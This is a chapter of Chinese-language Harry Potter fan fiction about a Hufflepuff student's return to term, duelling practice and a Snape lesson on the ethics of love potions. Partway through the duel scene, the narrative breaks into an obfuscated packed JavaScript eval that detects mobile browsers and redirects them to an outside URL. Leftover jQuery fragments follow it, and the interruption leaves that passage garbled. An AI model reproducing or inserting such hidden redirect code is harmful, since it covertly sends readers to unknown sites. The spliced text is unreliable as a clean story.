第47章


    －－


    一月初的寒风仿佛还带着圣诞钟声的余韵，但霍格沃茨特快列车喷出的蒸汽和涌入城堡的嘈杂人潮，已粗暴地将那份假日特有的宁静与悠远彻底击碎。索菲亚感觉自己像是从一个静谧的、只属于她和古老城堡的梦境中，猛地被拽回了喧闹沸腾的现实。


    宿舍门被猛地推开，米莉森特像一阵旋风般冲了进来，脸颊冻得通红，声音却无比响亮：“索菲亚！我们回来啦！你想我了吗？哦梅林！家里真是太棒了！妈妈做了好多好吃的，我还差点把爸爸的羽毛笔变成了一只真兔子——虽然只变了一半！”她叽叽喳喳地说着，一边把行李箱里的东西往外扔，很快她的床铺就恢复了一贯的“灾难现场”风格。


    紧接着，海伦和苏珊也笑着走了进来，带着一身冷气和家的味道。海伦温和地笑着，递给她一小盒家里自制的、点缀着糖霜的姜饼人：“妈妈让我带给你们的，尝尝看。”


    苏珊则迫不及待地开始分享她从魔法部父母那里听来的、经过“无害化处理”的小道消息：“你们猜怎么着？听说神奇动物管理控制司差点让一窝嗅嗅在档案室里安了家……”


    安静的宿舍瞬间被熟悉的声音和气息填满，索菲亚笑着回应她们的问候，分享着各自带来的小点心，听着她们讲述家里的趣事。那种假期里偶尔浮现的孤独感，瞬间被这暖烘烘的、略带混乱的友情驱散得无影无踪。


    当她走下螺旋楼梯，进入赫奇帕奇公共休息室时，真正的声浪扑面而来。温暖的地下空间里此刻挤满了人，仿佛所有的赫奇帕奇学生都聚集在了这里。


    低年级的学生们兴奋地互相展示着圣诞礼物，比较着谁收到的糖果更多；高年级的学生则三五成群地讨论着假期作业（“你魔法史论文写完了吗？借我参考一下！”）、即将到来的考试，或者魁地奇球队新学年的训练计划。角落里，几个学生正在玩一种会发出巨大爆炸声（但似乎很安全）的巫师棋，每吃掉一个棋子就引来一阵欢呼或哀叹。炉火噼啪作响，燃烧得比以往更旺，空气中混合着热巧克力的甜香、潮湿羊毛袜被烤干的味道，以及几百个人同时说话的嗡嗡声。


    这种巨大而温暖的喧闹，像一层厚厚的、毛茸茸的毯子，一下子将索菲亚紧紧包裹。


    “索菲亚！假期过得怎么样？”一个熟悉而温和的声音响起。索菲亚转过头，看到塞德里克·迪戈里正笑着向她走来，他手里也拿着一卷羊皮纸，显然是刚讨论完作业。“黑湖上滑冰好玩吗？我看到你在湖面上滑冰了。”


    “塞德里克！”索菲亚笑着回应，“还不错，虽然摔了不少跟头。但那本《高级变形术应用指南》真的帮了大忙，谢啦！”她指了指他带来的礼物，“尤其是关于形态转变稳定性的部分，让我变出来的冰刀终于不那么容易散架了。”


    “那就好，”塞德里克显得很高兴礼物派上了用场，“我试了一下，那个咒语确实需要很精细的控制。对了，听说凡恩教授下学期可能会增加实践课的对抗强度，我正想找个人一起练习一下障碍咒的闪避和反制，要不要一起？我们可以互相当陪练。”


    “当然要！”索菲亚立刻点头，能和朋友一起练习无疑效果更好，“我的统统石化也需要多练练准头。”


    就在这时，胖修士飘然而过，笑眯眯地对大家说：“孩子们，欢迎回来！哦，多么充满活力的声音啊，这才是赫奇帕奇该有的样子！”


    就连平时总是安静待在角落里的植物，似乎也因为人多和温度升高而显得更加青翠欲滴。


    －－


    二月的寒风呼啸着刮过城堡塔楼，窗外是一片铅灰色的天空和光秃秃的枝桠。图书馆和公共休息室里再次坐满了埋头疾书的学生，羊皮纸和墨水的消耗量急剧上升。


    她的菜园在冬日里依旧有零星的收获，尤其是那些在魔法稍稍庇护下的草莓，竟然还顽强地结出了几枚红艳艳的果实。她信守承诺，将一部分熟透的草莓分享给了那些帮她捉虫的鸟儿们，并在菜地旁的僻静处，撒下了许多谷物和面包屑，作为它们过冬的粮饷。看着那些小家伙们欢快地啄食，她心里也暖洋洋的。


    黑魔法防御术课进入了令人既紧张又兴奋的新阶段。在教授了诸如统统石化（Petrificus Totalus）、障碍重重（Impedimenta）等一系列极其实用的防御和控制性咒语后，艾琳·凡恩教授宣布，接下来的课程将移至室外，进行实践对抗练习，四个学院一起上课。


    地点选在了魁地奇球场附近的一片开阔草地上。寒冷的空气似乎都因为小巫师们的兴奋而变得活跃起来。凡恩教授用魔杖在草地上划出了几个巨大的圆圈，圆圈边缘闪烁着微弱的金色光芒，显然是被施加了某种防护咒语，作为安全的“擂台”。


    “我知道，对你们中的许多人来说，这或许有些突然，”凡恩教授的声音在冷风中显得格外清晰，“从理论学习直接跳到实战演练。但记住，黑魔法防御术的本质是‘防御’，而防御只有在压力下才能得到真正的锻炼。不必害怕犯错，这些防护咒会确保你们的安全。目标是练习咒语的准确施放、躲避以及在不同压力下的应对能力。”


    索菲亚站在赫奇帕奇的队伍里，搓着有些冻僵的手，心里忍不住嘀咕：“真是从一个极端到另一个极端啊……布莱克索恩教授光讲理论，凡恩教授这才教了几个咒语就直接上实战了……还真有点不习惯。”但看着那闪闪发光的擂台，她心底更多的还是跃跃欲试的冲动。


    练习以随机两两配对的形式进行。一时间，草地上充满了此起彼伏的念咒声、偶尔成功的欢呼、更多时候咒语打偏或失效的懊恼，以及凡恩教授穿梭其间、不断响起的指导和纠正声。


    “手腕再稳一点，布朗先生！”


    “不要光站着念咒，躲避！预判！迪戈里先生做得很好！”


    “咒语意图要清晰！光是喊得响没用！”


    索菲亚的对手是拉文克劳的一位男生。第一次在“擂台”上与人魔杖相向，她起初有些紧张，障碍咒施放得慢了一拍，差点被对方的软腿咒击中脚踝。但她很快调整过来，深吸一口气，集中精神。她回忆起凡恩教授强调的要点，开始灵活地移动脚步，看准时机——


    “障碍重重！”一道无形的力场成功地将对手阻挡了片刻。


    “统统石化！”虽然没能完全命中，但让对方动作明显僵硬迟缓了一下。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297705|177161||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    几个回合下来，她渐渐找到了感觉，咒语的准确度和时机把握都有了提升。这种真刀真枪（虽然是安全的）的对抗，确实比单纯对着假人练习更能锻炼人。


    就在课程进行到一半时，索菲亚眼角的余光似乎瞥见一个黑色的、蝙蝠般的身影悄无声息地出现在场地边缘的阴影里——是西弗勒斯·斯内普。他抱着双臂，面无表情，那双黑色的眼睛像冰冷的深潭，扫视着场上每一个学生的动作，尤其是在看到某些格兰芬多学生笨拙的表现时，嘴角会勾起一丝几乎看不见的讥讽弧度。他的出现像是一盆冷水，让周围空气的温度都仿佛下降了几度。凡恩教授也注意到了他，只是微微点头示意，继续她的课程。斯内普并没有干涉，只是站在那里，如同一个沉默而严厉的监工，让不少学生表现得更加紧张了。


    与此同时，魔药课的难度和深度也在增加。斯内普教授不再仅仅满足于让学生们按照步骤炮制出成品（虽然这依然是基础）。他开始引入更理论化和需要思考的内容。


    比如，在一堂关于迷情剂（Amortentia）的认知课上（仅仅是认知，绝不允许配制），斯内普用他特有的、滑腻而低沉的声音提出了一个问题：“那么，告诉我……制作并使用一种能够强行扭曲、模拟甚至创造情感的魔药，其伦理边界在哪里？”他黑色的眼睛缓缓扫过全班，“魔法部为何严格限制甚至禁止大部分强力爱情魔药的流通？仅仅是因为它们难以制作吗？”


    教室里一片寂静。学生们面面相觑。


    “因为……因为这不道德？”一个拉文克劳的女生小声说。


    “‘不道德’，一个空泛的词汇，约翰逊小姐。”斯内普嗤之以鼻，“拉文克劳，扣五分，为你的空空的脑袋。谁能给出更具体、更符合逻辑的分析？”


    塞德里克·迪戈里犹豫了一下，举起手：“教授，因为这侵犯了一个人的自由意志和情感自主权。”


    “接近了，迪戈里先生。赫奇帕奇加五分。”斯内普微微颔首，但显然还不满意，“那么，如果这种魔药被用于……嗯……审讯呢？用它来软化顽固囚犯的意志，获取情报，这是否就变得‘道德’了？”


    这个问题引发了更深的思考和窃窃私语。索菲亚也在思考，从功利主义、人权、目的与手段等多个角度权衡，发现这确实是个复杂的伦理困境。斯内普通过这种方式，强迫他们去思考魔药背后更深层的东西，而不仅仅是坩埚里的沸腾液体。


    此外，魔药原料的制备也进入了更精细复杂的阶段。他们开始学习如何处理那些特性更微妙、甚至带有一定危险性的材料。比如如何精确地萃取瞌睡豆的汁液，不同的挤压力度和时机会产生截然不同的效果；如何小心地剥离毒触手的荆刺而不使其毒性污染其他部分；如何用银质小刀以特定角度切割月光石，以最大化其催化特性。斯内普对每一步的要求都近乎苛刻，任何微小的失误都可能招来他尖刻的批评和扣分。


    理论加深，实践加强，无论是挥舞魔杖的防御术，还是搅拌坩埚的魔药课，都预示着二年级的下半学期，挑战正在升级。索菲亚感到压力，但更多的是一种被知识填充的踏实感和迎接挑战的兴奋。她像一块海绵，贪婪地吸收着一切。